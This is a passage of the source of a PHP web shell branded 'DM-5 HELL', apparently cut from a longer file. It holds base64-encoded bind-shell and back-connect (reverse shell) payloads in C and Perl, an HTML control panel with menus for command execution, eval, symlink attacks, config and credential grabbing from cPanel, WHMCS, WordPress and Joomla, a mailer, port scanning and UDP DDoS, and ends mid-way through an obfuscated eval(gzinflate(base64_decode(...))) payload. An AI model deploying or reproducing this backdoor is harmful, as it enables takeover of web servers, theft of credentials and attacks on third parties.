671$port_bind_bd_c="bVNhb9owEP2OxH+4phI4NINAN00aYxJaW6maxqbSLxNDKDiXxiLYkW3KGOp/3zlOpo7xIY793jvf +fl8KSQvdinCR2NTofr5p3br8hWmhXw6BQ9mYA8lmjO4UXyD9oSQaAV9AyFPCNRa+pRCWtgmQrJE P/GIhufQg249brd4nmjo9RxBqyNAuwWOdvmyNAKJ+ywlBirhepctruOlW9MJdtzrkjTVKyFB41ZZ dKTIWKb0hoUwmUAcwtFt6+m+EXKVJVtRHGAC07vV/ez2cfwvXSpticytkoYlVglX/fNiuAzDE6VL 3TfVrw4o2P1senPzsJrOfoRjl9cfhWjvIatzRvNvn7+s5o8Pt9OvURzWZV94dQgleag0C3wQVKug Uq2FTFnjDzvxAXphx9cXQfxr6PcthLEo/8a8q8B9LgpkQ7oOgKMbvNeThHMsbSOO69IA0l05YpXk HDT8HxrV0F4LizUWfE+M2SudfgiiYbONxiStebrgyIjfqDJG07AWiAzYBc9LivU3MVpGFV2x1J4W tyxAnivYY8HVFsEqWF+/f7sBk2NRQKcDA/JtsE5MDm9EUG+MhcFqkpX0HmxGbqbkdBTMldaHRsUL ZeoDeOSFBvpefCfXhflOpgTkvJ+jtKiR7vLohYKCqS2ZmMRj4Z5gQZfSiMbi6iqkdnHarEEXYuk6 uPtTdumsr0HC4q5rrzNifV7sC3ZWUmq+LVlVa5OfQjTanZYQO+Uf";
672$port_bind_bd_pl="ZZJhT8IwEIa/k/AfjklgS2aA+BFmJDB1cW5kHSZGzTK2Qxpmu2wlYoD/bruBIfitd33uvXuvvWr1 NmXRW1DWy7HImo02ebRd19Kq1CIuV3BNtWGzQZeg342DhxcYwcCAHeCWCn1gDOEgi1yHhLYXzfwg tNqKeut/yKJNiUB4skYhg3ZecMETnlmfKKrz4ofFX6h3RZJ3DUmUFaoTszO7jxzPDs0O8SdPEQkD e/xs/gkYsN9DShG0ScwEJAXGAqGufmdq2hKFCnmu1IjvRkpH6hE/Cuw5scfTaWAOVE9pM5WMouM0 LSLK9HM3puMpNhp7r8ZFW54jg5wXx5YZLQUyKXVzwdUXZ+T3imYoV9ds7JqNOElQTjnxPc8kRrVo vaW3c5paS16sjZo6qTEuQKU1UO/RSnFJGaagcFVbjUTCqeOZ2qijNLWzrD8PTe32X9oOgvM0bjGB +hecfOQFlT4UcLSkmI1ceY3VrpKMy9dWUCVCBfTlQX6Owy8=";
673$back_connect="fZFRS8MwFIXfB/sPWSw2hUrnqyPC0CpD3KStvqh0XRpcsE1KkoKF/XiTtCIV6tu55+Z89yY5W0St ktGB8aihsprPWkVBKsgn1av5zCN1iQGsOv4Fbak6pWmNgU/JUQC4b3lRU3BR7OFqcFhptMOpo28j S2whVulCflCNvXVy//K6fLdWI+SPcekMVpSlxIxTnRdacDSEAnA6gZJRBGMphbwC3uKNw8AhXEKZ ja3ImclYagh61n9JKbTAhu7EobN3Qb4mjW/byr0BSnc3D3EWgqe7fLO1whp5miXx+tHMcNHpGURw Tskvpd92+rxoKEdpdrvZhgBen/exUWf3nE214iT52+r/Cw3/5jaqhKL9iFFpuKPawILVNw==";
674$back_connect_c="XVHbagIxEH0X/IdhhZLUWF1f1YKIBelFqfZJliUm2W7obiJJLLWl/94k29rWhyEzc+Z2TjpSserA BYyt41JfldftVuc3d7R9q9mLcGeAEk5660sVAakc1FQqFBxqnhkBVlIDl95/3Wa43fpotyCABR95 zzpzYA7CaMq5yaUCK1VAYpup7XaYZpPE1NArIBmBRzgVtVYoJQMcR/jV3vKC1rI6wgSmN/niYb75 i+21cR4pnVYWUaclivcMM/xvRDjhysbHVwde0W+K0wzH9bt3YfRPingClVCnim7a/ZuJC0JTwf3A RkD0fR+B9XJ2m683j/PpPYHFavW43CzzzWyFIfbIAhBiWinBHCo4AXSmFlxiuPB3E0/gXejiHMcY jwcYguIAe2GMNijZ9jL4GYqTSB9AvEmHGjk/m19h1CGvPoHIY5A1Oh2tE3XIe1bxKw77YTyt6T2F 6f9wGEPxJliFkv5Oqr4tE5LYEnoyIfDwdHcXK1ilrfAdUbPPLw==";
675?>
676
677<html><head>
678<title>
679 :: AZZATSSINS ::
680</title>
681
682<script type="text/javascript">
683function tukar(lama,baru){
684document.getElementById(lama).style.display = 'none';
685document.getElementById(baru).style.display = 'block';
686 }
687function blink() {
688var blinks = document.getElementsByTagName('kelip');
689for (var i = blinks.length - 1; i >= 0; i--) {
690var s = blinks[i];
691s.style.visibility = (s.style.visibility === 'visible') ? 'hidden' : 'visible';
692}
693window.setTimeout(blink, 500);
694}
695if (document.addEventListener) document.addEventListener("DOMContentLoaded", blink, false);
696else if (window.addEventListener) window.addEventListener("load", blink, false);
697else if (window.attachEvent) window.attachEvent("onload", blink);
698else window.onload = blink;
699</script>
700
701<style type="text/css">
702body{
703background:#000000;
704}
705
706a { text-decoration:none; }
707a:hover{ border-bottom:1px solid white; }
708
709*{ font-size:11px;font-family:Tahoma,Verdana,Arial;color:#FFFFFF; }
710
711#menu{ background:#111111;margin:8px 2px 4px 2px; }
712
713#menu a{ padding:4px 18px;
714margin:0;
715
716background:#222222;
717text-decoration:none;
718letter-spacing:2px;
719border-radius: 4px;
720border-bottom:2px solid #444444;
721border-top:2px solid #444444;
722border-right:2px solid red;
723border-left:2px solid red;
724}
725
726#menu a:hover{
727background:#191919;
728border-radius: 7px;
729border-bottom:2px solid #white;
730border-top:2px solid #white;
731border-right:2px solid #FF0000;
732border-left:2px solid #FF0000;
733}
734
735.tabnet{ margin:15px auto 0 auto;border: 1px solid #333333; }
736
737.main {
738width:90%;
739margin:30px auto 10px;
740padding:10px 10px 5px 10px;
741border-radius:5px;
742-moz-border-radius:5px;
743-moz-box-shadow:0px 0px 10px #FFFFFF;
744}
745
746.gaya { color: red; }
747
748.gaya a { color: white; }
749
750.inputz{ background:#111111;
751border:0;
752padding:2px;
753border-bottom:1px solid #FF0000;
754border-top:1px solid #FF0000; }
755
756.inputzbut{
757background:#111111;
758color:#FF0000;
759margin:0 4px;
760border:1px solid #444444;
761border-bottom:1px solid #FF0000;
762border-top:1px solid #FF0000;
763border-right:1px solid #FF0000;
764border-left:1px solid #FF0000;
765}
766
767.inputz:hover, .inputzbut:hover{
768border-bottom:1px solid white;
769border-top:1px solid white;
770}
771
772.output { margin:auto;
773border:1px solid #FF0000;
774width:100%;
775height:400px;
776background:#000000;
777padding:0 2px; }
778
779.cmdbox{ width:100%; }
780
781.head_info{ padding: 0 4px; }
782
783.dminfox {
784font-size:11px;
785font-family:Tahoma,Verdana,Arial;
786color:white;
787}
788
789.infodmx {
790font-size:11px;
791font-family:Tahoma,Verdana,Arial;
792color:red;
793}
794
795.b0{
796font-size:30px;padding:0;color:#444444;
797}
798.b1{
799font-size:25px;padding:0;color:red;
800}
801.b2{
802font-size:25px;padding:0;color:white;
803}
804.b3{
805font-size:10px;padding:0;color:red;
806}
807.b4{
808font-size:20px;padding:0;color:#FF0000;
809}
810.b5{
811font-size:20px;padding:0;color:#FFFFFF;
812}
813.b6{
814font-size:20px;padding:0;color:#00FF00;
815}
816.b7{
817font-size:20px;padding:0;color:red;
818}
819.b8{
820font-size:20px;padding:0;color:white;
821}
822.b9{
823font-size:20px;padding:0;color:yellow;
824}
825.b10{
826font-size:20px;padding:0;color:#444444;
827}
828.b11{
829font-size:10px;padding:0;color:yellow;
830}
831.b12{
832font-size:10px;padding:0;color:#444444;
833}
834
835.b_tbl{ text-align:center;
836margin:0 1px 0 0;
837padding:0 1px 0 0;
838border-right:1px solid #333333; }
839
840.c_tbl{ text-align:center;
841margin:0 4px 0 0;
842padding:0 4px 0 0;
843border-left:1px solid #333333; }
844
845.phpinfo table{ width:100%;
846padding:0 0 0 0; }
847
848.phpinfo td{ background:#191919;
849color:#cccccc;
850padding:6px 8px;; }
851
852.phpinfo th, th{ background:#111111;
853border-bottom:1px solid #333333;
854font-weight:normal; }
855
856.phpinfo h2, .phpinfo h2 a{ text-align:center;
857font-size:16px;
858padding:0;
859margin:30px 0 0 0;
860background:#222222;
861padding:4px 0; }
862
863.explore{ width:100%; }
864
865.explore a { text-decoration:none; }
866.explore td{ border-bottom:1px solid white;
867padding:0 8px;
868line-height:10px; }
869
870.explore th{ padding:3px 8px;
871font-weight:normal; }
872
873.explore th:hover , .phpinfo th:hover{ border-bottom:1px solid white; }
874
875.explore tr:hover{ background:#444444;
876cursor:pointer; }
877
878.viewfile{ background:#EDECEB;
879color:#000000;
880margin:4px 2px;
881padding:8px; }
882
883.sembunyi{ display:none;
884padding:0;margin:0;}
885
886.info{ background:#111111;
887width:99%;
888padding:5px;
889margin:10px auto 5px;
890text-align:center;
891font-size:13px;}
892
893.info a{ font-size:14px;}
894.info span{ font-size:14px;}
895.jaya{ margin:5px; text-align:right; }
896</style>
897</head>
898<body onLoad="document.getElementById('cmd').focus();">
899<div class="main"><div class="head_info">
900<table><tr><td>
901
902<table class="b_tbl">
903<tr><td>
904<a href="?"><img src="http://azzat.wap.mu/files/1049320/az-bn-idb.png" width="140" heigth="125"></a>
905</td></tr>
906<tr><td>
907<nobr><b><span class="b1">DM-5</span><span class="b2">HELL</span></b></a></nobr>
908</td></tr>
909<tr><td>
910<nobr><b><span style=font-size:15px;padding:0;color:#444444;">Private Security Web Shell</span></b></nobr>
911</td></tr>
912<tr><td><? if(isset($auth_pass)){ echo "<form method='POST'> <input type='SUBMIT' class='inputz' name='logout' value=' [ LOG OUT ] '></form>"; } ?></td></tr>
913</table>
914</td>
915<td><?php echo $buff; ?></td>
916
917</tr></table></div>
918
919
920<!-- ARE YOU READY ? :D -->
921
922 <!-- 1 -->
923 <!-- 2 -->
924<!-- 3 -->
925
926<!-- LET'S PLAY THE MUSIC :D -->
927
928<br><br>
929<div id="menu" align="center">
930<table><tr>
931<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>">HOME</a></b></td>
932<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=".$pwd; ?>&x=phpinfo">PHP INFO</a></b></td>
933 <td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=mysql1">MYSQL I</a></b></td>
934<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=mysql2">MYSQL II</a></b></td>
935<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=upload">UPLOAD</a></b></td>
936<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=mail">MAILER</a></b></td>
937</tr></table></div>
938
939<!-- Let's Make A Little Command For Safety First :) -->
940
941<div id="menu" align="center">
942<table><tr>
943<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=php">EVAL</a></b></td>
944<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=shell">SHELL</a></b></td>
945<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=dmsec1">HTACCESS</a></b></td>
946<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=dmsec2">PHP.INI</a></b></td>
947<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=dmsec3">BASEDIR</a></b></td>
948<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=dmsec4">PROCESS</a></b></td>
949<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=netsploit">NETSPLOIT</a></b></td>
950</tr></table></div>
951
952<!-- Next You Always Say This Is Config Fvcker -->
953<!-- Oh Yeah Honey :* Please Don't Tell Everybody If You Will Fucking Me Now :* -->
954
955<div id="menu" align="center"><table><tr>
956<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=jumping">JUMP</a></b></td>
957<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=grabber">GRAB</a></b></td>
958<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=ckperl">PERL</a></b></td>
959<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=apache">APACHE</a></b></td>
960<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=hostgator">HOSTGATOR</a></b></td>
961<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=bluehost">BLUEHOST</a></b></td>
962<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=ovh">OVH</a></b></td>
963<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=litespeed">LITESPEED</a></b></td>
964</tr></table></div>
965
966<!-- Are You Like Symlink Methode ? Haha :D Funny LoL -->
967
968<div id="menu" align="center"><table><tr>
969<td style=\"text-align:center;\"><nobr><b><a href="?<?php echo "dm=" . $pwd; ?>&x=dmsym1">SYMLINK1</a></b></nobr></td>
970<td style=\"text-align:center;\"><nobr><b><a href="?<?php echo "dm=" . $pwd; ?>&x=dmsym2">SYMLINK2</a></b></nobr></td>
971<td style=\"text-align:center;\"><nobr><b><a href="?<?php echo "dm=" . $pwd; ?>&x=dmsym3">SYMLINK3</a></b></nobr></td>
972<td style=\"text-align:center;\"><nobr><b><a href="?<?php echo "dm=" . $pwd; ?>&x=dmsym4">SYMLINK4</a></b></nobr></td>
973<td style=\"text-align:center;\"><nobr><b><a href="?<?php echo "dm=" . $pwd; ?>&x=dmsym5">SYMLINK5</a></b></nobr></td>
974<td style=\"text-align:center;\"><nobr><b><a href="?<?php echo "dm=" . $pwd; ?>&x=dmsym6">SYMLINK6</a></b></nobr></td>
975</tr></table></div>
976
977<!-- Hhmmm... Are You Like WHMCS ? -->
978<!-- Haha Me Too :D Think Again Dude -->
979<!-- If You And Me Like WHMCS, WHO WE ARE ;D Lolers? -->
980
981<div id="menu" align="center"><table><tr>
982<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=whmcs1">WHMCS</a></b></td>
983<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=whmcs2">WHMCS II</a></b></td>
984<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=plesk">PLESK</a></b></td>
985<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=reseller">RESELLER</a></b></td>
986<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=crypter">ENCRYPT</a></b></td>
987<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=cgi2012">CGI2012</a></b></td>
988</tr></table></div>
989
990<!-- How About This Man ? -->
991<!-- nanana yayaya lalala enjoy the cms ;v -->
992
993<div id="menu" align="center"><table><tr>
994<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=cpanel">CPANEL</a></b></td>
995<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=iis7">IIS 7.5</a></b></td>
996<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=dmwp">WP</a></b></td>
997<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=dmjm">JOOMLA</a></b></td>
998<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=dmvb">VB</a></b></td>
999<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=skype">SKYPE</a></b></td>
1000 </tr></table></div>
1001
1002 <!-- Sexy Women Sexy On Your Bed :D wkwkwk -->
1003
1004<div id="menu" align="center"><table><tr>
1005<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=unzip">UNZIP</a></b></td>
1006<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=coding">ENCODE</a></b></td>
1007<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=analyzer">ANALYZER</a></b></td>
1008<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=tools">OTHER TOOLS</a></b></td>
1009</tr></table></div>
1010
1011<!-- Maybe This Can Help You :) -->
1012
1013<div id="menu" align="center"><table><tr>
1014<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=sscan">SHELL SCAN</a></b></td>
1015<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=pscan">PORT SCAN</a></b></td>
1016<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=ddos">UDP DDOS</a></b></td></tr></table></div>
1017
1018<!-- Last Songs From EviLolers -->
1019
1020<div id="menu" align="center"><table><tr>
1021<td style=\"text-align:center;\"><b><a href="?<?php echo "dm=" . $pwd; ?>&x=about">ABOUT ME</a></b></td>
1022<td style=\"text-align:center;\"><b><a href="?<?phwd; ?>&x=kill">KILL SHELL</a></b></td>
1023</tr></table></div>
1024
1025<!-- Okay... It's Time To Play.. With Us.. -->
1026<!-- You'll Never Know Before You Try It First -->
1027
1028<?php
1029if(isset($_GET['x']) && ($_GET['x'] == 'php')){ ?>
1030<form action="?dm=<?php echo $pwd; ?>&x=php" method="post">
1031<table class="cmdbox"><tr><td>
1032<textarea class="output" name="cmd" id="cmd"><? eval(gzinflate(base64_decode('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